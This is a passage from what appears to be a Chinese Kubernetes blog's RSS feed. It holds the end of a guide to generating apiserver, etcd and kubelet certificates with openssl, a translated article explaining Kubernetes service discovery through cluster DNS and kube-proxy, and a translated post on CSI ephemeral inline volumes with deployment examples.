DNS.2 = kubernetes.default
DNS.3 = kubernetes.default.svc
DNS.4 = kubernetes.default.svc.cluster.local
IP.1 = 10.211.55.33
IP.2 = 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用这个cnf文件生成apiserver的服务端密钥和证书文件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;# openssl genrsa -out apiserver.key 2048
# openssl req -new -key apiserver.key -subj &amp;quot;/CN=kubernetes&amp;quot; -config apiserver.cnf -out apiserver.csr
# openssl x509 -req -in apiserver.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apiserver.crt -days 365 -extensions v3_req -extfile apiserver.cnf
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这些命令执行成功后，生成 &lt;code&gt;apiserver.key&lt;/code&gt; 和 &lt;code&gt;apiserver.crt&lt;/code&gt; 两个文件，这两个证书将用于 apiserver 的&lt;code&gt;--tls-private-key-file&lt;/code&gt;、&lt;code&gt;--tls-cert-file&lt;/code&gt; 两个参数。&lt;/p&gt;

&lt;p&gt;生成 apiserver 的服务端证书后，还需要为 etcd 和 kubelet 生成客户端证书。客户端证书相对简单，主要关注的是 &lt;code&gt;-subj&lt;/code&gt; 参数。&lt;/p&gt;

&lt;p&gt;首先是 etcd 的客户端证书，设置 &lt;code&gt;CN=apiserver，OU=kubernetes&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;# openssl genrsa -out etcd-client.key 2048
# openssl req -new -out etcd-client.csr -key etcd-client.key -subj &amp;quot;/CN=apiserver/OU=kubernetes&amp;quot;
# openssl x509 -req -in etcd-client.csr -out etcd-client.crt -signkey etcd-client.key -CA ca.crt -CAkey ca.key -CAcreateserial -days 365
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;类似地，生成 kubelet 客户端证书，和 etcd 客户端类似，不同是的 &lt;code&gt;-subj&lt;/code&gt; 参数，命令如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;# openssl genrsa -out kubelet-client.key 2048
# openssl req -new -out kubelet-client.csr -key kubelet-client.key -subj &amp;quot;/CN= kube-apiserver-kubelet-client /OU= system:masters&amp;quot;
# openssl x509 -req -in kubelet-client.csr -out kubelet-client.crt -signkey kubelet-client.key -CA ca.crt -CAkey ca.key -CAcreateserial -days 365
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;service文件和一系列的证书都生成完毕之后，用如下命令启动kube-apiserver服务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;# systemctl daemon-reload
# systemctl start kube-apiserver
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;服务启动之后，可以使用 curl 尝试访问 apiserver 的端口：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# curl https://127.0.0.1:6443
{
  &amp;quot;kind&amp;quot;: &amp;quot;Status&amp;quot;,
  &amp;quot;apiVersion&amp;quot;: &amp;quot;v1&amp;quot;,
  &amp;quot;metadata&amp;quot;: {

  },
  &amp;quot;status&amp;quot;: &amp;quot;Failure&amp;quot;,
  &amp;quot;message&amp;quot;: &amp;quot;forbidden: User \&amp;quot;system:anonymous\&amp;quot; cannot get path \&amp;quot;/\&amp;quot;&amp;quot;,
  &amp;quot;reason&amp;quot;: &amp;quot;Forbidden&amp;quot;,
  &amp;quot;details&amp;quot;: {

  },
  &amp;quot;code&amp;quot;: 403
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;返回了鉴权失败的信息，证明 apiserver 在正常运行了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>浅谈 Kubernetes 中的服务发现</title>
      <link>/post/demystifying-kubernetes-service-discovery/</link>
      <pubDate>Wed, 29 Jan 2020 09:42:04 +0800</pubDate>
      <guid>/post/demystifying-kubernetes-service-discovery/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://nigelpoulton.com/blog/f/demystifying-kubernetes-service-discovery&#34; target=&#34;_blank&#34;&gt;Demystifying Kubernetes service discovery&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://twitter.com/nigel_poulton&#34; target=&#34;_blank&#34;&gt;Nigel Poulton&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kubernetes 服务发现是一个经常让我产生困惑的主题之一。本文分为两个部分：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;网络方面的背景知识&lt;/li&gt;
&lt;li&gt;深入了解 Kubernetes 服务发现&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;要了解服务发现，首先要了解背后的网络知识。这部分内容相对浅显，如果读者熟知这一部分，完全可以跳过，直接阅读服务发现部分。&lt;/p&gt;

&lt;p&gt;开始之前还有一个需要提醒的事情就是，为了详细描述这一过程，本文略长。&lt;/p&gt;

&lt;h2 id=&#34;kubernetes-网络基础&#34;&gt;Kubernetes 网络基础&lt;/h2&gt;

&lt;p&gt;要开始服务发现的探索之前，需要理解以下内容：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Kubernetes 应用运行在容器之中，容器处于 Pod 之内。&lt;/li&gt;
&lt;li&gt;每个 Pod 都会附着在同一个大的扁平的 IP 网络之中，被称为 Pod 网络（通常是 VXLAN 叠加网络）。&lt;/li&gt;
&lt;li&gt;每个 Pod 都有自己的唯一的 IP 地址，这个 IP 地址在 Pod 网络中是可路由的。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;images/pod-network2.png&#34; alt=&#34;Pod Network&#34; /&gt;&lt;/p&gt;

&lt;p&gt;上述三个因素结合起来，让每个应用（应用的组件和服务）无需通过 NAT 之类的网络过程，就能够直接通信。&lt;/p&gt;

&lt;h3 id=&#34;动态网络&#34;&gt;动态网络&lt;/h3&gt;

&lt;p&gt;在对应用进行横向扩容时，会在 Pod 网络中加入新的 Pod，新 Pod 自然也伴随着新的 IP 地址；如果对应用进行缩容，旧的 Pod 及其 IP 会被删除。这个过程看起来很是混乱。&lt;/p&gt;

&lt;p&gt;应用的滚动更新和撤回也存在同样的情形——加入新版本的新 Pod，或者移除旧版本的旧 Pod。新 Pod 会加入新 IP 到 Pod 网络中，被终结的旧 Pod 会删除其现存 IP。&lt;/p&gt;

&lt;p&gt;如果没有其它因素，每个应用服务都需要对网络进行监控，并管理一个健康 Pod 的列表。这个过程会非常痛苦，另外在每个应用中编写这个逻辑也是很低效的。幸运的是，Kubernetes 用一个对象完成了这个过程——Service。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;把这个对象叫做 Service 是个坏主意，我们已经用这个单词来形容应用的进程或组件了。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;还有一个值得注意的事情：Kubernetes 执行 IP 地址管理（IPAM）职责，对 Pod 网络上已使用和可用的 IP 地址进行跟踪。&lt;/p&gt;

&lt;h3 id=&#34;service-带来稳定性&#34;&gt;Service 带来稳定性&lt;/h3&gt;

&lt;p&gt;Kubernetes Service 对象在一组提供服务的 Pod 之前创建一个稳定的网络端点，并为这些 Pod 进行负载分配。&lt;/p&gt;

&lt;p&gt;一般会在一组完成同样工作的 Pod 之前放置一个 Service 对象。例如可以在你的 Web 前端 Pod 前方提供一个 Service，在认证服务 Pod 之前提供另一个。行使不同职责的 Pod 之前就不应该用单一的 Service 了。&lt;/p&gt;

&lt;p&gt;客户端和 Service 通信，Service 负责把流量负载均衡给 Pod。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/service-101.png&#34; alt=&#34;Service 101&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在上图中，底部的 Pod 会因为伸缩、更新、故障等情况发生变化，而 Service 会对这些变化进行跟踪。同时 Service 的名字、IP 和端口都不会发生变化。&lt;/p&gt;

&lt;h3 id=&#34;kubernetes-service-解析&#34;&gt;Kubernetes Service 解析&lt;/h3&gt;

&lt;p&gt;可以把 Kubernetes Service 理解为前端和后端两部分：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;前端：名称、IP 和端口等不变的部分。&lt;/li&gt;
&lt;li&gt;后端：符合特定标签选择条件的 Pod 集合。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;前端是稳定可靠的，它的名称、IP 和端口在 Service 的整个生命周期中都不会改变。前端的稳定性意味着无需担心客户端 DNS 缓存超时等问题。&lt;/p&gt;

&lt;p&gt;后端是高度动态的，其中包括一组符合标签选择条件的 Pod，会通过负载均衡的方式进行访问。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/service-anatomy3.png&#34; alt=&#34;Service Anatomy&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这里的负载均衡是一个简单的 4 层轮询。它工作在连接层面，所以同一个连接里发起的所有请求都会进入同一个 Pod。因为在 4 层工作，所以对于 7 层的 HTTP 头或者 Cookie 之类的东西是无法感知的。&lt;/p&gt;

&lt;h3 id=&#34;小结&#34;&gt;小结&lt;/h3&gt;

&lt;p&gt;应用在容器中运行，在 Kubernetes 中体现为 Pod 的形式。Kubernetes 集群中的所有 Pod 都处于同一个平面的 Pod 网络，有自己的 IP 地址。这意味着所有的 Pod 之间都能直接连接。然而 Pod 是不稳定的，可能因为各种因素创建和销毁。Kubernetes 提供了稳定的网络端点，称为 Service，这个对象处于一组相似的 Pod 前方，提供了稳定的名称、IP 和端口。客户端连接到 Service，Service 把流量负载均衡给 Pod。&lt;/p&gt;

&lt;p&gt;接下来聊聊服务发现。&lt;/p&gt;

&lt;h2 id=&#34;深入了解-kubernetes-服务发现&#34;&gt;深入了解 Kubernetes 服务发现&lt;/h2&gt;

&lt;p&gt;服务发现实际上包含两个功能点：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;服务注册&lt;/li&gt;
&lt;li&gt;服务发现&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;服务注册&#34;&gt;服务注册&lt;/h3&gt;

&lt;p&gt;服务注册过程指的是在服务注册表中登记一个服务，以便让其它服务发现。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/service-registration.png&#34; alt=&#34;service-registration.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Kubernetes 使用 DNS 作为服务注册表。&lt;/p&gt;

&lt;p&gt;为了满足这一需要，每个 Kubernetes 集群都会在 &lt;code&gt;kube-system&lt;/code&gt; 命名空间中用 Pod 的形式运行一个 DNS 服务，通常称之为集群 DNS。&lt;/p&gt;

&lt;p&gt;每个 Kubernetes 服务都会自动注册到集群 DNS 之中。&lt;/p&gt;

&lt;p&gt;注册过程大致如下：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;向 API Server 用 POST 方式提交一个新的 Service 定义；&lt;/li&gt;
&lt;li&gt;这个请求需要经过认证、鉴权以及其它的准入策略检查过程之后才会放行；&lt;/li&gt;
&lt;li&gt;Service 得到一个 &lt;code&gt;ClusterIP&lt;/code&gt;（虚拟 IP 地址），并保存到集群数据仓库；&lt;/li&gt;
&lt;li&gt;在集群范围内传播 Service 配置；&lt;/li&gt;
&lt;li&gt;集群 DNS 服务得知该 Service 的创建，据此创建必要的 DNS A 记录。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;上面过程中，第 5 个步骤是关键环节。集群 DNS 使用的是 CoreDNS，以 Kubernetes 原生应用的形式运行。CoreDNS 实现了一个控制器，会对 API Server 进行监听，一旦发现有新建的 Service 对象，就创建一个从 Service 名称映射到 ClusterIP 的域名记录。这样 Service 就不必自行向 DNS 进行注册，CoreDNS 控制器会关注新创建的 Service 对象，并实现后续的 DNS 过程。&lt;/p&gt;

&lt;p&gt;DNS 中注册的名称就是 &lt;code&gt;metadata.name&lt;/code&gt;，而 ClusterIP 则由 Kubernetes 自行分配。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/svc-yaml2.png&#34; alt=&#34;svc-yaml2&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Service 对象注册到集群 DNS 之中后，就能够被运行在集群中的其它 Pod 发现了。&lt;/p&gt;

&lt;h4 id=&#34;endpoint-对象&#34;&gt;Endpoint 对象&lt;/h4&gt;

&lt;p&gt;Service 的前端创建成功并注册到服务注册表（DNS）之后，剩下的就是后端的工作了。后端包含一个 Pod 列表，Service 对象会把流量分发给这些 Pod。&lt;/p&gt;

&lt;p&gt;毫无疑问，这个 Pod 列表需要是最新的。&lt;/p&gt;

&lt;p&gt;Service 对象有一个 Label Selector 字段，这个字段是一个标签列表，符合列表条件的 Pod 就会被服务纳入到服务的负载均衡范围之中。参见下图：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/backend2.png&#34; alt=&#34;backend2&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Kubernetes 自动为每个 Service 创建 Endpoints 对象。Endpoints 对象的职责就是保存一个符合 Service 标签选择器标准的 Pod 列表，这些 Pod 将接收来自 Service 的流量。&lt;/p&gt;

&lt;p&gt;下面的图中，Service 会选择两个 Pod，并且还展示了 Service 的 Endpoints 对象，这个对象里包含了两个符合 Service 选择标准的 Pod 的 IP。&lt;/p&gt;

&lt;p&gt;在后面我们将解释网络如何把 ClusterIP 流量转发给 Pod IP 的过程，还会引用到 Endpoints 对象。&lt;/p&gt;

&lt;h3 id=&#34;服务发现&#34;&gt;服务发现&lt;/h3&gt;

&lt;p&gt;假设我们在一个 Kubernetes 集群中有两个应用，&lt;code&gt;my-app&lt;/code&gt; 和 &lt;code&gt;your-app&lt;/code&gt;，&lt;code&gt;my-app&lt;/code&gt; 的 Pod 的前端是一个 名为 &lt;code&gt;my-app-svc&lt;/code&gt; 的 Service 对象；&lt;code&gt;your-app&lt;/code&gt; Pod 之前的 Service 就是 &lt;code&gt;your-app-svc&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;这两个 Service 对象对应的 DNS 记录是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;my-app-svc&lt;/code&gt;：10.0.0.10&lt;/li&gt;
&lt;li&gt;&lt;code&gt;your-app-svc&lt;/code&gt;：10.0.0.20&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;images/dns-reg.png&#34; alt=&#34;dns-reg&#34; /&gt;&lt;/p&gt;

&lt;p&gt;要使用服务发现功能，每个 Pod 都需要知道集群 DNS 的位置才能使用它。因此每个 Pod 中的每个容器的 &lt;code&gt;/etc/resolv.conf&lt;/code&gt; 文件都被配置为使用集群 DNS 进行解析。&lt;/p&gt;

&lt;p&gt;如果 &lt;code&gt;my-app&lt;/code&gt; 中的 Pod 想要连接到 &lt;code&gt;your-app&lt;/code&gt; 中的 Pod，就得向 DNS 服务器发起对域名 &lt;code&gt;your-app-svc&lt;/code&gt; 的查询。假设它们本地的 DNS 解析缓存中没有这个记录，则需要把查询提交到集群 DNS 服务器。会得到 &lt;code&gt;you-app-svc&lt;/code&gt; 的 ClusterIP（VIP）。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这里有个前提就是 &lt;code&gt;my-app&lt;/code&gt; 需要知道目标服务的名称。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;至此，&lt;code&gt;my-app&lt;/code&gt; 中的 Pod 得到了一个目标 IP 地址，然而这只是个虚拟 IP，在转入目标 Pod 之前，还有些网络工作要做。&lt;/p&gt;

&lt;h4 id=&#34;网络&#34;&gt;网络&lt;/h4&gt;

&lt;p&gt;一个 Pod 得到了 Service 的 ClusterIP 之后，就尝试向这个 IP 发送流量。然而 ClusterIP 所在的网络被称为 &lt;code&gt;Service Network&lt;/code&gt;，这个网络有点特别——没有路由指向它。&lt;/p&gt;

&lt;p&gt;因为没有路由，所有容器把发现这种地址的流量都发送到了缺省网关（名为 &lt;code&gt;CBR0&lt;/code&gt; 的网桥）。这些流量会被转发给 Pod 所在节点的网卡上。节点的网络栈也同样没有路由能到达 Service Network，所以只能发送到自己的缺省网关。路由到节点缺省网关的数据包会通过 Node 内核——这里有了变化。&lt;/p&gt;

&lt;p&gt;回顾一下前面的内容。首先 Service 对象的配置是全集群范围有效的，另外还会再次说到 Endpoints 对象。我们要在回顾中发现他们各自在这一过程中的职责。&lt;/p&gt;

&lt;p&gt;每个 Kubernetes 节点上都会运行一个叫做 &lt;code&gt;kube-proxy&lt;/code&gt; 的系统服务。这是一个基于 Pod 运行的 Kubernetes 原生应用，它所实现的控制器会监控 API Server 上 Service 的变化，并据此创建 &lt;code&gt;iptables&lt;/code&gt; 或者 &lt;code&gt;IPVS&lt;/code&gt; 规则，这些规则告知节点，捕获目标为 Service 网络的报文，并转发给 Pod IP。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;有趣的是，kube-proxy 并不是一个普遍意义上的代理。它的工作不过是创建和管理 iptables/IPVS 规则。这个命名的原因是它过去使用 unserspace 模式的代理。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;每个新 Service 对象的配置，其中包含它的 ClusterIP 以及 Endpoints 对象（其中包含健康 Pod 的列表），都会被发送给 每个节点上的 kube-proxy 进程。kube-proxy 会创建 iptables 或者 IPVS 规则，告知节点捕获目标为 Service ClusterIP 的流量，并根据 Endpoints 对象的内容转发给对应的 Pod。&lt;/p&gt;

&lt;p&gt;也就是说每次节点内核处理到目标为 Service 网络的数据包时，都会对数据包的 Header 进行改写，把目标 IP 改为 Service Endpoints 对象中的健康 Pod 的 IP。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;原本使用的 iptables 正在被 IPVS 取代（Kubernetes 1.11 进入稳定期）。长话短说，iptables 是一个包过滤器，并非为负载均衡设计的。IPVS 是一个 4 层的负载均衡器，其性能和实现方式都比 iptables 更适合这种使用场景。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;需要消化的内容很多，简单回顾一下。&lt;/p&gt;

&lt;p&gt;创建新的 Service 对象时，会得到一个虚拟 IP，被称为 ClusterIP。服务名及其 ClusterIP 被自动注册到集群 DNS 中，并且会创建相关的 Endpoints 对象用于保存符合标签条件的健康 Pod 的列表，Service 对象会向列表中的 Pod 转发流量。&lt;/p&gt;

&lt;p&gt;与此同时集群中所有节点都会配置相应的 iptables/IPVS 规则，监听目标为 ClusterIP 的流量并转发给真实的 Pod IP。这个过程如下图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/registeration-flow.png&#34; alt=&#34;service register&#34; /&gt;&lt;/p&gt;

&lt;p&gt;一个 Pod 需要用 Service 连接其它 Pod。首先向集群 DNS 发出查询，把 Service 名称解析为 ClusterIP，然后把流量发送给位于 Service 网络的 ClusterIP 上。然而没有到 Service 网络的路由，所以 Pod 把流量发送给它的缺省网关。这一行为导致流量被转发给 Pod 所在节点的网卡，然后是节点的缺省网关。这个操作中，节点的内核修改了数据包 Header 中的目标 IP，使其转向健康的 Pod。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/discovery-flow.png&#34; alt=&#34;discovery&#34; /&gt;&lt;/p&gt;

&lt;p&gt;最终所有 Pod 都是在同一个可路由的扁平的叠加网络上，剩下的内容就很简单了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>CSI 的内联暂存卷</title>
      <link>/post/csi-ephemeral-inline-volumes/</link>
      <pubDate>Fri, 24 Jan 2020 14:35:19 +0800</pubDate>
      <guid>/post/csi-ephemeral-inline-volumes/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2020/01/21/csi-ephemeral-inline-volumes/&#34; target=&#34;_blank&#34;&gt;CSI Ephemeral Inline Volumes&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://github.com/pohly&#34; target=&#34;_blank&#34;&gt;Patrick Ohly&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kubernetes 利用外部存储驱动提供出来的存储卷一般来说都是持久化的，它的生命周期可以完全独立于 Pod，（特定情况下）也可以和第一个用到该卷的 Pod（&lt;a href=&#34;https://kubernetes.io/docs/concepts/storage/storage-classes/#volume-binding-mode&#34; target=&#34;_blank&#34;&gt;后绑定模式&lt;/a&gt;）有着宽松的耦合关系。在 Kubernetes 中使用 PVC 和 PV 对象完成了存储卷的申请和供给机制。起初，容器存储接口（CSI）支持的存储卷只能用于 PVC/PV 的场合。&lt;/p&gt;

&lt;p&gt;但有些情况下，数据卷的内容和生命周期是和 Pod 紧密相关的。例如有的驱动会使用动态的创建 Secret 生成卷，这个 Secret 是为了运行在 Pod 中的应用特意创建的。这种卷需要和 Pod 一起生成，并且作为 Pod 的一部分，和 Pod 一起终结。可以在 Pod Spec 中（用内联/inline 的方式）定义这种卷。&lt;/p&gt;

&lt;p&gt;从 Kubernetes 1.15 开始，CSI 驱动也能用于这种内联暂存卷了。这个功能还处于 Alpha 阶段，因此在 1.15 中需要打开 &lt;a href=&#34;https://kubernetes.io/docs/reference/command-line-tools-reference/feature-gates/&#34; target=&#34;_blank&#34;&gt;CSIInlineVolume 特性开关&lt;/a&gt; 才能尝试使用这一新功能。而 1.16 中，该功能升级为 Beta 阶段，因此是缺省打开的。&lt;/p&gt;

&lt;p&gt;虽说这个功能用到了两个现存的 gRPC 调用（&lt;code&gt;NodePublishVolume&lt;/code&gt; 和 &lt;code&gt;NodeUnpublishVolume&lt;/code&gt;)，但是其中的用法和 CSI 规范并不一致：在暂存卷中，Kubelet 在向 CSI 驱动请求卷时，只调用了 &lt;code&gt;NodePublishVolume&lt;/code&gt;。跳过了其他的（例如 &lt;code&gt;CreateVolume&lt;/code&gt;、&lt;code&gt;NodeStageVolume&lt;/code&gt;）调用，所以要对 CSI 驱动进行一些改变。Pod Spec 中写明了卷参数，这个参数会被拷贝给 &lt;code&gt;NodePublishVolumeRequest.volume_context&lt;/code&gt;。目前没有标准化的参数，即使是容量这种参数也是定义在 CSI 驱动之中的。类似地，在 Pod 结束需要释放存储卷时，只调用了 &lt;code&gt;NodeUnpublishVolume&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;起初有考虑分别为持久化和暂存卷编写不同的 CSI 驱动。但是有些驱动提供的存储在两种模式下都可以使用，例如 &lt;a href=&#34;https://github.com/intel/pmem-csi&#34; target=&#34;_blank&#34;&gt;PMEM-CSI&lt;/a&gt; 管理的是由 Intel Optane 技术提供的持久化内存方式的本地存储。这种类型的存储既可以用作一种比普通 SSD 更快的持久化存储，也可以用作比 DRAM 更大容量的暂时性存储。&lt;/p&gt;

&lt;p&gt;因此在 Kubernetes 1.16 中产生了变化：用户可以使用 &lt;a href=&#34;https://kubernetes-csi.github.io/docs/csi-driver-object.html#what-fields-does-the-csidriver-object-have&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;CSIDriver&lt;/code&gt;&lt;/a&gt; 的 &lt;code&gt;volumeLifecycleModes&lt;/code&gt; 字段来确定该驱动支持的卷类型。启用&lt;a href=&#34;https://kubernetes-csi.github.io/docs/pod-info.html&#34; target=&#34;_blank&#34;&gt;加载时 Pod 信息&lt;/a&gt;功能之后，驱动程序能够获取卷模式的信息，并在 &lt;code&gt;NodePublishRequest.volume_context&lt;/code&gt; 加入 &lt;code&gt;csi.storage.k8s.io/ephemeral&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;关于 CSI 驱动支持内联暂存卷的更多信息，可以浏览 &lt;a href=&#34;https://kubernetes-csi.github.io/docs/ephemeral-local-volumes.html&#34; target=&#34;_blank&#34;&gt;Kubernetes CSI 文档&lt;/a&gt; 及其&lt;a href=&#34;https://github.com/kubernetes/enhancements/blob/master/keps/sig-storage/20190122-csi-inline-volumes.md&#34; target=&#34;_blank&#34;&gt;原始设计文档&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;后续内容中包含了真实的示例以及内容总结。&lt;/p&gt;

&lt;h2 id=&#34;示例&#34;&gt;示例&lt;/h2&gt;

&lt;h3 id=&#34;pmem-csi&#34;&gt;PMEM-CSI&lt;/h3&gt;

&lt;p&gt;在 &lt;a href=&#34;https://github.com/intel/pmem-csi/releases/tag/v0.6.0&#34; target=&#34;_blank&#34;&gt;v0.6.0&lt;/a&gt; 中加入了内联暂存的支持。在使用 Intel Optane 技术的主机上可以使用这种驱动，&lt;a href=&#34;https://github.com/intel/pmem-csi/blob/v0.6.0/examples/gce.md&#34; target=&#34;_blank&#34;&gt;GCE 的特定类型服务器&lt;/a&gt;或者 QEMU 的硬件模拟上都是可用的。&lt;a href=&#34;https://github.com/intel/pmem-csi/tree/v0.6.0#qemu-and-kubernetes&#34; target=&#34;_blank&#34;&gt;QEMU 方式已经集成到了 Makefile&lt;/a&gt;，只需要 Go、Docker 和 KVM 即可，所以示例中用了这种方式：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;git clone --branch release-0.6 https://github.com/intel/pmem-csi
cd pmem-csi
TEST_DISTRO=clear TEST_DISTRO_VERSION=32080 TEST_PMEM_REGISTRY=intel make start
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;启动四节点集群需要一些时间：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;The test cluster is ready. Log in with /work/pmem-csi/_work/pmem-govm/ssh-pmem-govm, run kubectl once logged in.
Alternatively, KUBECONFIG=/work/pmem-csi/_work/pmem-govm/kube.config can also be used directly.

To try out the pmem-csi driver persistent volumes:
...

To try out the pmem-csi driver ephemeral volumes:
   cat deploy/kubernetes-1.17/pmem-app-ephemeral.yaml | /work/pmem-csi/_work/pmem-govm/ssh-pmem-govm kubectl create -f -
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;deploy/kubernetes-1.17/pmem-app-ephemeral.yaml&lt;/code&gt; 定义了一个卷：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: Pod
apiVersion: v1
metadata:
  name: my-csi-app-inline-volume
spec:
  containers:
    - name: my-frontend
      image: busybox
      command: [ &amp;quot;sleep&amp;quot;, &amp;quot;100000&amp;quot; ]
      volumeMounts:
      - mountPath: &amp;quot;/data&amp;quot;
        name: my-csi-volume
  volumes:
  - name: my-csi-volume
    csi:
      driver: pmem-csi.intel.com
      fsType: &amp;quot;xfs&amp;quot;
      volumeAttributes:
        size: &amp;quot;2Gi&amp;quot;
        nsmode: &amp;quot;fsdax&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Pod 启动之后，可以观察一下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl describe pods/my-csi-app-inline-volume
Name:         my-csi-app-inline-volume
...
Volumes:
  my-csi-volume:
    Type:              CSI (a Container Storage Interface (CSI) volume source)
    Driver:            pmem-csi.intel.com
    FSType:            xfs
    ReadOnly:          false
    VolumeAttributes:      nsmode=fsdax
                           size=2Gi
$ kubectl exec my-csi-app-inline-volume -- df -h /data
Filesystem                Size      Used Available Use% Mounted on
/dev/ndbus0region0fsdax/d7eb073f2ab1937b88531fce28e19aa385e93696
                          1.9G     34.2M      1.8G   2% /data
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;image-populator&#34;&gt;Image Populator&lt;/h3&gt;

&lt;p&gt;自动解包容器镜像，并以暂存卷的方式访问内容。这个驱动还在开发之中，但是可以用下面的方式安装试用镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;kubectl create -f https://github.com/kubernetes-csi/csi-driver-image-populator/raw/master/deploy/kubernetes-1.16/csi-image-csidriverinfo.yaml
kubectl create -f https://github.com/kubernetes-csi/csi-driver-image-populator/raw/master/deploy/kubernetes-1.16/csi-image-daemonset.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下面这个 Pod 会运行一个 Nginx，并从 &lt;code&gt;kfox1111/misc:test&lt;/code&gt; 镜像中获取数据提供服务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl create -f - &amp;lt;&amp;lt;EOF
apiVersion: v1
kind: Pod
metadata:
  name: nginx
spec:
  containers:
  - name: nginx
    image: nginx:1.13-alpine
    ports:
    - containerPort: 80
    volumeMounts:
    - name: data
      mountPath: /usr/share/nginx/html
  volumes:
  - name: data
    csi:
      driver: image.csi.k8s.io
      volumeAttributes:
          image: kfox1111/misc:test
EOF
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;测试一下读取数据：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl exec nginx -- cat /usr/share/nginx/html/test
testing
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;cert-manager-csi&#34;&gt;cert-manager-csi&lt;/h3&gt;

&lt;p&gt;这个驱动和 &lt;a href=&#34;https://github.com/jetstack/cert-manager&#34; target=&#34;_blank&#34;&gt;cert-manager&lt;/a&gt; 协同工作，其目的是无缝地为 Pod 完成证书的请求和加载。这对于 mTLS 或者其它需要使用可信、有效证书的 Pod 间安全连接的工作是很有意义的。这个项目还在实验之中。&lt;/p&gt;

&lt;h2 id=&#34;下一步&#34;&gt;下一步&lt;/h2&gt;

&lt;p&gt;提出这个功能的原因之一就是，Kubernetes 把一个 Pod 调度到节点上时，对节点的存储情况是无知的。Pod 被调度之后，CSI 必须在该节点上创建卷。如果失败，Pod 无法启动，这个过程会一直持续到存储卷可用。&lt;a href=&#34;https://github.com/kubernetes/enhancements/pull/1353&#34; target=&#34;_blank&#34;&gt;存储能力跟踪的 KEP&lt;/a&gt; 是一个解决问题的尝试。&lt;/p&gt;

